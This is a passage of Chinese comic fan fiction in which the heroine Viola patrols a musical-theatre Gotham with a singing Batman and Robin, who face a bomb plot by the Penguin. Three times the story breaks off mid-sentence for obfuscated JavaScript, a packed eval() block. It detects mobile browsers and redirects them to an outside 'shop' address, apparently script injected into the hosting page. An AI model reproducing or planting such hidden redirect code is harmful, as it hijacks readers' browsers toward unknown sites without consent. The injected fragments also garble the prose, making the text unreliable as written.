维奥拉被自己的比喻感动到心潮澎湃,握住罗宾的手,狠狠摇晃致谢。一大一小两人在客厅都双目放光,充满对“睡衣侠”称号的陶醉。 “这代号简直是天才!” “真的吗!谢谢你的认可!” “真的,真的!我第一次听到这个名字的时候就知道,你一定很有对义警代号的见解!” “什么?虽然这是我灵机一动相处的名字,但是——你太懂我了,罗宾!” “这没什么!你值得这个称号,睡——衣——侠——!” “谢谢!谢谢!” 蝙蝠侠:“……” 围观了半分钟的蝙蝠侠清了清嗓子,决定拿出家长风范:“好了孩子们,该出发了。” 孩子们? 维奥拉停下动作,思索了几秒这个称呼。 “孩子”可以用来称呼迪克,但把她也囊括进去是不是范围太大了?在年轻的、不到三十岁的蝙蝠侠眼里,十八岁居然也是孩子。 维奥拉有些困惑,但夜巡的兴奋让她暂时把它抛在脑后。 蝙蝠侠对她笑笑,突然一个华丽的转身,紧闭双眼,脸朝左侧去,屋内灯光霎时全部灭掉。 维奥拉有些茫然。 微弱的脚光从地毯上射出,照在蝙蝠侠的胸膛,蝙蝠侠双手捧住心口,缓缓唱道: [欧,看看维奥拉,她的眼睛眨了眨] [似乎在问我为什么也用孩子称呼她] 维奥拉:“……确实。” [哎,只因为,她与我皆出自韦恩家] [照辈份,她本就应该在我庇护下!] 维奥拉试图插话:“其实我也可以自己……” 蝙蝠侠并不理会,绕着茶几转了一圈,甚至突然神色忧郁: [想想吧,她无父无母,孤身来到我家] 维奥拉:“那个,我……” 蝙蝠侠伸出一只手,向前划去,示意她噤声,突然深沉地插入一句台词,对着空气说:“蓝色(blue)代表着忧郁(blue)。” 维奥拉不明所以,但蝙蝠侠一跺脚,所有灯光像听到指令般刷刷齐变蓝。 维奥拉:“!!!” “I''msoBLUE”(我好忧郁)具象化了啊!灯光师难道师从《汉密尔顿》片场? 蝙蝠侠满意地欣赏灯光,这才继续唱道: [可怜的孩子!] [我会是个好祖父,将你的人生细细规划!] 唱完,他低下头,忧愁地叹气,那颗迪斯科球——维奥拉百思不得其解的迪斯科球又又又出现了,从落地灯旁垂直下降,停在蝙蝠侠肩膀旁,开始旋转。 罗宾坐在沙发上晃悠着双腿,掏出墨镜给自己戴上,唱起和声。灯光从不同方向打向蝙蝠侠,使他在光芒中万分闪耀。 于是,在蓝光灯照耀下,舞台雨再次飘洒,衬得黑暗骑士像一只被雨水打湿的忧郁大蝙蝠。最后,蝙蝠侠在雨中铿锵地唱道: [别担心,维奥拉,黑暗骑士不会把任何人落下!] 维奥拉目瞪口呆地看着室内降雨的奇观。 等等啊。 她的客厅。 她的沙发茶几地板地毯上全是水了啊!!! 维奥拉惊慌失措:“蝙蝠侠!别唱了!我的地板!” 蝙蝠侠的内心独白一结束,房间内的灯又恢复明亮,罗宾收起墨镜,蝙蝠侠也回到刚才站立的地方,神态和动作也和唱歌前无异。他探究地看着她,问:“怎么了,维奥拉?” 就像以上发生的一切都是维奥拉脑内的幻想。 维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921138|191308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奥拉张开嘴又闭上,转而去看被雨淋湿的地板,却发现那里现在一滴水都没有,仿佛什么都没发生过。 她震惊道:“刚才你唱歌的时候,我的客厅下雨了。” “什么?”蝙蝠侠朝右偏了偏头,蝙蝠头盔上的耳朵也奇异地耷过去,“下雨?维奥拉,你也许眼花了,室内不会下雨的。” 罗宾点头附和:“蝙蝠侠说得对。” 维奥拉开口欲说话,蝙蝠侠却一转头,房间的灯再次熄灭,脚光第二次照耀在他胸膛,他大声唱道: [她出现了幻觉!可怜的孩子维奥拉!] [也许是哥谭让她压力太大!] 维奥拉:“……我听见了,蝙蝠侠。” 舞台灯一灭,室内重回平静,蝙蝠侠一脸坦诚地看着她,有些疑惑:“你刚才说什么?” 维奥拉深吸一口气,决定放弃沟通:“没什么。” 蝙蝠侠也没再多问,抖抖披风,检查了万能腰带,随后抬起头:“既然如此,那么我们出发?” 罗宾从沙发上站起来,跃跃欲试:“遵命,长官!” 但下一秒,他又停下:“噢,等等。” 他来到维奥拉身边,扯扯她的衣角,踮脚,试图靠近她的耳朵:“维奥拉,我有一个礼物送给你。” 维奥拉低下头。 神奇小子从怀里拿出一个多米诺面具。 “这是义警必备的眼罩。”迪克·手工达人·格雷森骄傲地宣布,“是我自己做的!” 他小心翼翼地把它放进维奥拉摊开的掌心中:“我送给你啦。其实在蝙蝠侠第一次给我讲你的故事时,我就给你做好了这个礼物。蝙蝠侠说你当时没有自己的面具,但没关系,现在你有啦。” 这份多米诺面具不像罗宾自己眼罩的纯黑,反而呈现淡淡的蓝灰色,和音乐剧世界的蝙蝠侠的灰黑制服色很接近。它看上去薄薄的,也有些软,像舞台上会用到的纸片眼罩,但又更结实。它的边沿光滑圆润,被打磨得很完美。维奥拉捧着这份眼罩,眼前几乎能浮现出迪克坐在蝙蝠洞工作台边哼着歌打磨它的景象。 滴滴,您收到一份来自罗宾鸟的礼物。 维奥拉蓦地想起几小时前另一个世界的迪克·格雷森送给她的那捧花。 两个世界,两份礼物,来自同一只罗宾鸟。 维奥拉蹲下来看着男孩。十岁的迪克不算太矮,因此,当维奥拉蹲下时,她需要微微仰头,才能和他对视。她握住了那枚眼罩,认真地说:“谢谢你,罗宾,我会好好利用它的。我没有别的礼物,这份摇滚乐歌单送给你,你应该会很喜欢。” 她撕下一张便签纸,将歌单抄录下来,递到他面前。 罗宾愣了一秒,似乎没料到她突然的正式,但很快,他的眼睛弯起来,甚至很成熟地拍拍她的头——很轻很轻的那种,像小动物在试探新伙伴,他接过歌单,露出笑容:“我很高兴你喜欢我的礼物,维奥拉,你一定会成为了不起的义警。” 说完,他有些骄傲地挺起自己的胸膛:“我也会!” 维奥拉点头:“你一定会的。” 罗宾鸟和睡衣侠结下光荣而神圣的“伟大义警假说”同盟,而见证人是——抓钩枪已经扔出去五分钟但仍没有得到同伴回应的蝙蝠侠。 蝙蝠侠:“……孩子们,走了。” 他竟然成了三人中最成熟的那一个。 蝙蝠侠摇摇头,叹气。 年纪轻轻的百特曼正在一拖二夜巡中,请为他祈祷。 17. Brava Summary:Brava,维奥拉!你终于明白了,当对方用歌声问你问题时,你就用歌声回答!这就叫——音乐剧! —— “出发了,孩子们。” 蝙蝠侠拽着绳索,无奈重复。 维奥拉和罗宾终于结束了热血沸腾的双向祝福,点头答应。维奥拉站起来,戴上新面具,罗宾也调整好自己的面具和披风,捡起自己的抓钩枪。两人像两片影子一样移到蝙蝠侠左右两侧,抬起头,等待他发号施令。 蝙蝠侠庄严扫视了一眼左右两名搭档。 噔噔噔噔噔! 蝙蝠侠主题曲再次在夜幕下演奏起来,这次甚至加入了萨克斯和长号混音,蝙蝠侠昂起头颅,用低沉的嗓音宣布: [哥谭的夜晚已来到] [搭档们,告诉我,你们是否准备好?] 维奥拉:“是?” 但蝙蝠侠似乎听不见她的回答,仍然注视着他们,似乎在期待些什么。 维奥拉扶了扶面具有些茫然,只见罗宾立刻站得笔直,就着旋律唱道: [噢,蝙蝠侠,我们已经准备好!] 蝙蝠侠这才点头,跳到窗沿,转身对着他们继续: [现在我们要完成第一个目标] [四处巡查,看谁需要化解烦恼] [搭档们,任务是否已知晓?] 维奥拉犹疑片刻,再次答道:“是的?” 蝙蝠侠仍然鼓励地看着她。 维奥拉茫然地眨眨眼睛:“怎么了?” 什么意思?为什么她说出的话蝙蝠侠就置若罔闻? 罗宾举起抓钩枪,跟着蝙蝠侠主题曲的音调唱: [是的,是的,我们已经知晓!] 他唱完,也看向她,甚至伸出拳头和她碰了碰。 维奥拉知道原因了。 就像第一次见到音乐天使时它告知的那样,当音乐剧世界的人在唱歌时,她只能以唱歌回应。这也解释了为什么很多次她在蝙蝠侠忘情歌唱时插嘴却从未得到回答。 想通了的维奥拉痛苦摇头。 她是音痴啊……音痴代表着她根本找不到蝙蝠侠这首主题曲的调子,更别提跟着唱了。 而且还要押韵! 她既不会写歌词,也不会freestyle的说唱,让她怎么接上同伴的歌声呢? 面对蝙蝠侠和罗宾殷切的视线,维奥拉张嘴,脑子里疯狂寻找刚才听到的音调,磕巴唱: [我已经知晓……?] 音调偏得令她自己都皱眉头,从do飙升至ti,然后猛降,变成dodotidodo。 天哪,她听不出她唱出的曲调到底和蝙蝠侠主题曲有什么联系。 维奥拉紧张地舔舔嘴唇,望向她的搭档们,寻求帮助:“我过关了吗?” 蝙蝠侠和罗宾对视一眼。 维奥拉有些焦急。 突然,两人都对着她鼓起掌,庆祝道:“Brava!Brava!你唱得很好,维奥拉!” 维奥拉:“嗯?” 她呆呆地回味他们的赞赏。 蝙蝠侠似乎松了口气:“你终于愿意和我交流了。为什么之前总是沉默不语呢?” “也许因为我并不知道我需要唱歌?” “噢,那看来是我的过错,”蝙蝠侠真诚道,“我竟然没有告诉你这些基本的音乐剧常识。” 罗宾跑过来拉住维奥拉的手,来到窗边:“现在我们可以出发了!” “好的。”维奥拉深吸一口气,突然想起忘了问此行目的,“我们今晚的目标是什么?” 蝙蝠侠调整钩索,答道:“正如我唱的那样,今晚没有特别的任务,我们会在城市里到处巡逻。当听到呼救,我们——蝙蝠侠、睡衣侠与罗宾,就出场帮助市民。” 音乐突转,蝙蝠侠的披风被窗外的风吹得飞起来,夜幕中出现两盏顶灯,斜斜地照进来。他沐浴在灯光下,突然唱道: [听我说,市民!] 好的,维奥拉知道又有一段音乐时间需要等待了。 她索性去冰箱里拿了三罐冰可乐分给他们,边喝边观演。罗宾显然对甜甜的碳酸饮料很感兴趣,而蝙蝠侠则在歌唱间隙瞥了一眼易拉罐,似乎思考了一会儿才接过它。 他拉开拉环,喝了一口,小声说:“冰可乐影响我唱高音,但是——下不为例吧。” 喝下两口后,蝙蝠侠站在窗台前,张开双臂面向窗外的城市,斗志昂扬: [当你身陷险境] [呼叫哥谭义警] [我们在城市逡巡] [将罪恶清理干净] 他转身,朝维奥拉和罗宾勾手,示意他们靠近些。他的双手搭在两人肩上,看看他们,又望向夜空,轻微晃头: [这里是蝙蝠侠和罗宾] [还有睡衣侠的光临] [罪犯将无所遁形] [皆因为今晚的夜巡!] 唱毕,他举起手里的可乐罐,和两人碰杯。 “干杯,我的搭档们!”蝙蝠侠说,“愿今晚一切顺利。” 某一瞬间,当舞台灯灭下,只剩下朦胧夜色与客厅橘黄暖光时,维奥拉觉得自己仿佛在桑德海姆某部讲述友情的音乐剧里充当主角。 看看她,她身边有她喜欢并且熟悉的搭档,他们都在为了一个理想努力,他们还互相认可对方,坚信这座城市有更好的未来。 蝙蝠侠突然拍拍她的肩膀,哼唱: [It’sourtime,breatheitin](这是我们的时代,感受吧) [Worldstochangeandworldstowin](世界正等待我们改变和征服它) [Ourturingthrough](我们的机会已临近) [Meandyou,pal](我和你们,朋友) [Meandyou](我和你们)(注1) 柔软的、温暖的、冒泡泡的情感充盈在她的心脏上,她抬起头,看着蝙蝠侠和罗宾。他们戴着掩盖上半张脸的面具,但眼睛都明亮得惊人。 她很喜欢蝙蝠侠刚才的哼唱,但有一个问题,作为音乐剧爱好者她不得不问。 于是她小心翼翼地说: “蝙蝠侠,你刚才哼的这段……不算侵权吧?” 蝙蝠侠:“?” 蝙蝠侠轻咳一声,故作严肃道:“也许再多唱一节就要支付五千万美金了。” 维奥拉放心下来,笑眯眯地点头:“那恭喜你节省了五千万。” “好了,音乐时间结束,该夜巡了。”蝙蝠侠短暂笑了一秒,松开搭在两人肩膀上的手。 维奥拉点点头:“我们先去哪儿?” 蝙蝠侠对她笑了笑,指向不远处,说:“第一步,去蝙蝠车。” ? 维奥拉怀疑自己听错了:“蝙蝠车???” “噢,维奥拉,停在你家楼下是要收费并且被拍照的。”蝙蝠侠说着,递给她一条钩索,“而且,我们当然要开着车夜巡了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928977|191308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那她上次跟着他在楼顶上跳来跳去跑了十几公里算什么啊! 维奥拉叹气,接受了搭档的安排。 大概算体能训练吧。 蝙蝠侠已经滑下去了,罗宾紧随其后。维奥拉看着已经站在车边的两人,摇摇头。她转身,关掉家里所有的灯,爬出窗户,妥善锁好它,再抓紧钩索。做好这一切,她才安心地离开。 对,她当然得保护好家里的财产——虽然并没有什么值得被盗的东西,但这里可是哥谭,谁知道下一秒会发生什么。 万一她家垃圾桶被盗了呢,那可是她新买的紫色垃圾桶。 维奥拉顺着钩索平稳滑到了楼下。她开始认真考虑要不要给自己的窗边常备这样一条便于上下直行的工具了。 蝙蝠车就停在旁边,维奥拉收好绳索走过去。这是维奥拉第一次近距离观察蝙蝠车。在来到哥谭的第一天,维奥拉当然也见到了另一个世界蝙蝠侠的蝙蝠车,但她当时惊讶于蝙蝠侠居然和前一小时见到的那位判若两人,因此几乎忘记分给那台低调优美的蝙蝠车一点眼神。 但现在不一样,她有大把时间细细欣赏音乐剧世界的蝙蝠车。 但她眼前这辆线条利落的黑色作战车和现实世界那种隐蔽感不同,相反,它相当……耀眼。 蝙蝠侠也许在给这辆车做喷漆时有很多灵感,比如其中一个灵感大概是“它应该拥有五彩斑斓的黑”。于是,当维奥拉走近这辆车时,被路灯下反光的酷炫黑色狠狠震撼。尽管有些尘灰和罗宾刚才蹦跶的脚印,这辆车仍然相当闪亮。 流光溢彩的颜色,招摇瞩目的搭配。 维奥拉真心实意地担心这辆蝙蝠车的隐蔽性。 “隐蔽?不,维奥拉,我不需要隐蔽。”蝙蝠侠似乎认为维奥拉说出了奇怪的话,摇摇头,“哥谭人很喜欢我的车——噢,当然也有人不喜欢,但我并不在意那些不喜欢它的人。” 说完,他弯腰从蝙蝠车内拿出一张软帕,小心地擦干净车身上蹭到的灰,又弯腰进去在屏幕上点击了什么,很快,整辆车进入自动清洗程序。 四十秒后,一辆闪烁着黑珍珠光泽的蝙蝠车出现了。 维奥拉:“……?” 又一个问题诞生了。维奥拉看着这辆跑车风格的蝙蝠车,犹豫了一下:“我能问问你的车有几个座位吗?” “啊,好问题,维奥拉。”蝙蝠侠笑起来,晃了晃手里的迷你遥控器,“根据我的最新研发,理论上来说,五人以内是没问题的。不过我猜应该也用不上那么多座位?” 那可不一定,维奥拉内心默念,毕竟你也不知道自己未来会有一二三四五六N个孩子。 车两翼缓缓升起,蝙蝠侠绅士地站在一旁,对她做了个“请”的动作:“请进,女士。” 罗宾已经熟练地坐进去,甚至很有安全意识地坐在儿童座位上拴好安全带,等待同伴落座。 维奥拉见状,坐上副驾。这辆车像被施了魔法,外表看着似乎只能容纳两人,车内却有舒适宽敞的后座和足够大的空间,蝙蝠侠上车后,指了指她的座椅。 维奥拉不明所以:“怎么了?” 蝙蝠侠说:“安全带。” 维奥拉:“……好的。” 车门关闭,蝙蝠侠打开车灯,调好卫星导航,然后一脚油门,蝙蝠车朝着下一条街区飞驰而去。 维奥拉的手紧紧攥住安全带。 所有的外星坏蛋、超级反派、阿卡姆病人、黑门监狱越狱者以及普通罪犯通通闪开,全哥谭最遵守交通守则的三名义警来了! 18. 公寓保卫战 Summary:哥谭最遵守交通规则的三人迎来了最危急的公寓保卫战,对,蝙蝠侠、罗宾,快救救维奥拉的家! —— 蝙蝠车刚刚驶出伯恩利区,来到某个十字路口。 蝙蝠侠正在谨遵交通规则,等待红绿灯,即使这红灯有120秒。 在红灯走过了100秒后,蝙蝠侠收到了便士一的温馨汇报:“企鹅人为您带来口信。” 阿尔弗雷德的声音透过蝙蝠车里全方位环绕音效显得有些失真,加上平缓标准的英式口音,维奥拉恍惚以为蝙蝠侠在车内安装了一个堪比贾维斯的人工智能或者干脆引入了Siri。 噢,差点忘了乐高蝙蝠侠puter。 维奥拉好奇道:“企鹅人怎么有你的联系方式?” 难道蝙蝠侠还留有邮编?比如“收信地址:蝙蝠洞”这种。 蝙蝠侠不语,只是向上指了指。 蝙蝠车的顶窗突然打开,夜幕中,那张维奥拉熟悉的企鹅人投影再次出现,仍然是鼻子尖尖的侧脸,仍然是嘴巴一张一合的动画,音乐也一如既往,手风琴与小提琴并存: [蝙蝠侠,我的宿敌!] [听清楚,今晚的游戏!] 维奥拉发自内心地惊叹:“哇——哦。” 音乐剧世界的传信方式倒是挺便捷的,整个夜幕宛如大型无限制群聊现场。 企鹅人不断在给蝙蝠侠发送挑衅语音: [我在伯恩利区藏了点秘密] [一枚炸.弹,一点小心意] [噢,别怪我没提醒你] [Tick-Tick-BOOM!在此之前,你有三十分钟的喘息!] [记住了,蝙蝠,这是我的反击!] 唱完,企鹅人的投影嘎嘎笑着消失在空中。 维奥拉抓紧安全带,有些紧张。他们的第一个任务来得太快,甚至还没有给她准备的时间。 听听企鹅人唱的:炸.弹!袭击!维奥拉朝窗外张望,企图通过肉眼观测到哪些地方可能被埋了炸.弹。 伯恩利区正是她居住的地方,维奥拉甚至怀疑企鹅人会不会吩咐手下悄悄朝她的公寓里丢几十个炸.弹,毕竟之前企鹅人似乎也对她很是不满。 她安慰自己,幸好她关好了门窗,至少企鹅人不能太轻易地轰了她家。 也许……吧? 蝙蝠侠关上顶窗,肃穆地说:“别担心,睡衣侠,罗宾,我们会处理好的。” 他转弯,朝伯恩利区的方向返回,在一片寂静中突然唱道: [因为我是——蝙蝠侠!] 维奥拉:“嗯……?” 维奥拉只疑惑了半秒钟就消化了这句突如其来的音乐剧唱腔。她已经习惯了这个音乐剧世界的运行规律,黑暗骑士在任何时刻突然强调自己是百特曼是很正常的事。 这没什么,真的。 在一部音乐剧里,通常会反复用主题曲强化主角的信念感,她懂的。 于是一个想法诞生了。 已知当有人在唱歌时,用歌声就能与他对话,那么—— 抱着试一试的心态,维奥拉清清嗓子,再次使用了doremifasolati胡乱搭配的音调,等他唱完后,接唱道: [没错,因为你是——蝙蝠侠!] 唱完还非常殷勤地为他竖起大拇指。 啊,一不小心破音了。 不过没事,恭喜,维奥拉·音乐剧初学者·破音常驻嘉宾·缪特就这样完成了她第一次主动歌唱! 噔噔噔噔噔,蝙蝠侠主题曲突然在蝙蝠车内360度环绕响起,蝙蝠侠投来赞赏的目光。 维奥拉有些不好意思地摸摸鼻子。 蝙蝠车很快重新回到伯恩利区的街道上,维奥拉坐在副驾驶跃跃欲试。 是的,他们今晚首秀就要来了! 她一定会以一个帅气的姿势下车,蝙蝠侠从万能腰带里掏出的稀奇古怪的道具找到炸.弹,神奇小子上前处理它,GCPD如约而至,然后是音乐!鲜花!口哨!掌声! 以及数不清的“bravo”! 这些都会围绕着他们,接着,一件不知道会被蝙蝠侠命名为什么的案件就会这样圆满解决,鞠躬,谢幕,剧终。 维奥拉沉浸在幻想中。 诶,等等,好安静啊,为什么还没有行动呢? 维奥拉睁开眼睛。 她发现蝙蝠侠正在小心翼翼将车停进马路边画好的规定停车位中,而一旁,有数辆歪来倒去违规停放的轿车。 维奥拉:“?” 好吧,全哥谭最遵纪守法的三个人大概此刻都在车上了。 三人下车后,维奥拉期待地看着蝙蝠侠,猜测他会从万能腰带里拿出什么能够检测炸.弹的奇妙道具。 而蝙蝠侠只是环视四周,接着,他突然跳上蝙蝠车的车盖上,将披风一抖,一条路上的所有路灯像被指引般突然转向,齐齐照向了他。 蝙蝠侠用一种维奥拉之前并未听过的慢调抒情音唱道: [我该如何下手搜寻这片土地?] [这区域有太多居民难将炸.弹抵御] [啊!也许我可以试试新研究的机器] 音乐变得喜悦欢快,长号嘟嘟两声。 罗宾站在蝙蝠车旁边,在这句歌词结束后,骄傲地举起一个灰色的长方形物体,向维奥拉展示,唱: [看哪,一块探测仪,解决了所有的难题!] 围观两人一唱一和的维奥拉:“……Bravo?” 那她的歌词应该是什么? 蝙蝠侠从罗宾手上接过检测器,将它对准路灯照来的方向,似乎在仔细观察。 下一秒,他们的前方,一幢公寓楼突然被天幕灯照亮,又有一束强光打在三楼的露台,那里,一名穿着黑色西装、头戴礼帽的男人正在展开双臂迎接灯光。 这又是谁? 穿成这样是想模仿企鹅人? 天哪,音乐剧世界的哥谭现在已经有企鹅人的B卡了,哥谭还是太先锋了。 这人将礼帽一摘,弯腰九十度鞠躬,随后起身,将礼帽一抛,让它从左手滑到右手,再敏捷地抓住,一把戴上,露出展现十六颗牙齿的笑容,仿佛在接受无声的掌声:“各位,晚上好!” 维奥拉以为自己在免费观看《马戏之王》开场秀。 值得一提的是,刚才他摘下礼帽的那一刻,维奥拉清晰看见他帽子下反光到几乎可以被称为第二组光源的光头。 好亮…… 维奥拉开始思考企鹅人为什么老喜欢雇点光头手下,难道是为了戴帽子不热? 那人正正衣领,挥手示意再多两束灯光,于是,六盏追光灯刷刷亮起,露台边甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933267|191308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至还多了三束脚灯,将那人完全照射在舞台之下。他朝维奥拉夸张飞吻,维奥拉困惑地回以零零散散的掌声,接着,他鼓起胸膛,大唱道: [炸.弹已被我埋下] [就在五公里外某个叫缪特的倒霉蛋的楼下] [作为老大的替补卡] [我心思细腻又狡猾] [静静等待三十分钟后所有人都炸开花!] [老大,老大,我是您最得力的B卡!] 维奥拉:“???” 喂,她又又又惹谁了! 炸.弹凭什么埋在她家楼下啊? 倒霉蛋定律在音乐剧世界也继续发力吗? 维奥拉气急败坏,回头扯蝙蝠侠的披风:“蝙蝠侠!” 蝙蝠侠仿佛才从定格中恢复,保持着拿检测器的姿势,疑惑道:“怎么了?” 维奥拉指着强光下的西装男,怒道:“他!是他!” 蝙蝠侠顺着她的指尖望去,那里却突然漆黑一片,音乐也戛然而止。罗宾还盘腿坐在车盖上四处张望,蝙蝠侠跳下来,来到维奥拉身旁,拍拍她的肩安慰道: [蝙蝠探测器会找出炸.弹] [别看它现在搜寻得有些慢] 维奥拉:“不是,我是说,那人说他把炸.弹埋在……” 蝙蝠侠的目光堪称慈祥: [别焦急,维奥拉,深呼吸,听我说话] [难题会被我们拿下] [胜利会再次抵达] 维奥拉:“我的意思是……噢,我知道了。” 维奥拉顿住。 噢,她差点又忘了。 音乐剧世界原则(维奥拉·缪特女士亲身感悟版)如下: 第一,当有人在唱本该属于独白的曲目时,其他人根本听不见他们的歌声。只有维奥拉,作为这里唯一的观众,能看到他们的所有表演。 第二,当对方在唱歌时,你应该—— 维奥拉深吸一口气,脑子里歌词乱飞。 没错,她必须要唱出来,只有歌声能和歌声对话,这样才能有自己的歌词。并且,她要遵从原调,甚至要押上原韵。 好的,维奥拉·缪特,这很简单,不过是押韵和找曲调罢了,维奥拉不断安慰自己。 一阵寂静后,维奥拉在蝙蝠侠的注视下尖叫唱: [蝙蝠侠,炸.弹被埋在我家楼下!] [别犹豫,快去救救我的家!!!] 她仓促押了韵,拽住蝙蝠侠的披风,唱得根本找不到调。 往好处想,就算这首歌有版权,大概也无法追究到她的责任,因为她唱得根本不在调上。 但是,轰!维奥拉的头顶突然多了一盏追光灯,直直照着她。她被突然投在光芒之下,有些手足无措。 光源散发着热气,强光下她几乎看不清光外的其他人。 这就是舞台上的感觉吗? 维奥拉懵懵地呆立着,不知道该做些什么。蝙蝠侠站在追光的范围之外,朝她缓慢点头。一束稍淡的光照在蝙蝠侠身上,他欣慰地唱道: [情报收到,睡衣侠] [即刻出发,我们会拯救你的家] 维奥拉松了口气。 太好了,希望红头罩老大的安全屋能够不被企鹅人炸飞吧。 否则,企鹅人大概只有冰山餐厅能拿来抵债了。 19. Showtime! Summary:好啦,各位观众,舞台、灯光、音乐、演员已就位,到了哥谭义警三人组合的showtime了,ACTION!等等等等,维奥拉的台词呢?谁给她分点歌词! —— 看过音乐剧的都知道,在一部音乐剧里,主角通常会在最快乐的时候遭遇点危机,这很正常。 紧接着,我们的主角通常需要牺牲点自己所爱的东西来换取一个颇有哲学意义的人生道理,唱一句要么是关于aimer(爱)、要么是关于Schatten(阴霾)、要么是关于revolution(革.命)的歌词。 她可能会失去一名亲人或爱人,或者痛失上升的事业、健康的身体,也可能追求艺术和音乐无果后一败涂地,但是—— 很少有主角会在故事的关键时刻遭遇自己公寓被炸的危机! 而且这公寓还不是她的。 这一点都不够罗曼蒂克,也不够音乐剧,维奥拉悲愤地想。 维奥拉朝着公寓的方向奔跑,想在最快的时间解决掉这该死的炸.弹。她身后,蝙蝠车飞快驶来,甚至发出了颇为卡通的“嘣嘣嘣”鸣笛声。维奥拉回头,一阵风扬起,蝙蝠车掠过她的那一刻,她被扔到了车顶坐下。 维奥拉:“?” 她怎么上来的? 原来蝙蝠车的车顶也可以坐吗? 罗宾从车窗里伸出手,递给她一个通讯器:“你跑得太快了,睡衣侠。” 维奥拉接过,有些发懵。哥谭的夜风很凉,把她的头发全部吹向脑后。她安安稳稳地坐在车顶,看蝙蝠侠熟练避开零星路人和违规停放的车辆,以一个绝对不算遵守交通规则的速度向她的家驶去。 通讯器Beep了一声,蝙蝠侠的声音透出来:“两分钟后到达目的地。以及,你可以按左手边的黑色按钮,睡衣侠。” 维奥拉低头,发现左侧有一个方形按钮,上面用大写字母写着“按下按钮享受舒适车顶时光”。 舒适车顶时光?维奥拉依言按下。 SPLASH! 车顶突然冒出来一个沙发气囊,强盗般把她按进座位。气囊像童话故事里通灵的家具一样蹦蹦跳跳地拍打她的肩膀,而这还不算奇特,因为维奥拉眼睁睁地看到蝙蝠车居然在边行驶边唱歌: [请别拘礼,亲爱的客人] [为您服务是我的责任] [啊,记住,坐在车顶也能优雅斯文!] 唱罢,气囊吹出一只手的形状,安抚地摸她的脑袋,还亲吻了她的额头。 维奥拉呆呆地低头望着这辆动情歌唱的车。 车子……也会唱歌? 而且车顶气囊为什么这么通人性啊? “我参考了绿灯侠的灯戒设计。”通讯器里,蝙蝠侠愉快地介绍,“这个巧妙设计还不错,是吧?” 维奥拉被气囊狠狠抱在怀里深情歌唱,呼吸艰难地赞同:“它……很热情。” 在蝙蝠车的关怀声中,她的公寓已经近在眼前。蝙蝠侠一个漂亮的甩尾,把车停了下来。 维奥拉在气囊紧紧的固定下安然无恙,匆忙从凹陷的沙发里爬出来,头朝下望向车内的两位搭档:“行动?” 蝙蝠侠缓慢点头。 罗宾也做了个ok的手势。 维奥拉从车顶跳下,刚刚站稳,那阵“我是反派我在做坏事”的曲调又奏响了。 一束蓝色的光照向维奥拉的窗户,维奥拉循着灯光所指的方向望去,发现那个所谓的企鹅人B卡演员正悠闲地坐在她家窗沿上晃着腿眯眼,似乎很惬意。 灯光和音乐似乎都很合他的心意,他再次摘下礼帽,身体随着节拍摇晃,唱道: [谁叫我是个坏蛋?] [就爱找些可恶的事情干!] [比如亲吻一枚炸.弹,mua!] [然后将它丢在垃圾桶,看!] “垃圾桶!”维奥拉匆匆对刚车内出来的蝙蝠侠说,“我们要找垃圾桶!” 追光突然给到蝙蝠侠,同样是蓝色。 蝙蝠侠站在车旁,披风再次被不知从哪来的风吹起。他斜斜45度面对维奥拉,活动右肩,冷酷地唱: [束手就擒,那黑暗中的坏蛋!] [蝙蝠侠和他的搭档们马上就破案!] 嘟嘟嘟嘟嘟—— ? 什么声音。好刺耳好难听。 维奥拉疑惑地看向蝙蝠侠身后的罗宾,而罗宾一脸坦然地收起卡祖笛,结束了自己的合奏。 维奥拉:“卡祖笛???” 卡祖笛不准出现在音乐剧里! 蝙蝠侠转了个身,滑步到车最前面,追光也忠实地跟随,照得蝙蝠车前盖都蓝幽幽的。 蝙蝠侠侧过脸颊望向维奥拉的窗户,和那不知名B卡遥遥对视,随后就着旋律唱道: [正义终会战胜黑暗] [凭借科技我们也能找到炸.弹] [企鹅人的得意只不过是短暂] [因为——我是蝙蝠侠,我会保护市民免受灾难!] 蝙蝠侠主题曲逐渐用强节拍盖过企鹅人B卡的坏蛋小曲儿,灯光也从蓝转为黄,蝙蝠侠站在原地,唱完最后一句后举起右手握拳,气势十足。维奥拉还在思索为什么他和那位B卡用的同一个韵,耳边又传来熟悉的声音。 嘟嘟!嘟嘟嘟! 罗宾弯弯绕绕的卡祖笛再次奏响,第三束光给到罗宾。短短五个音后,罗宾把卡祖笛收进披风里,跳上车盖,叉腰唱: [还有神奇小子在召唤] [别忘了我也是聪明的义警和侦探!] 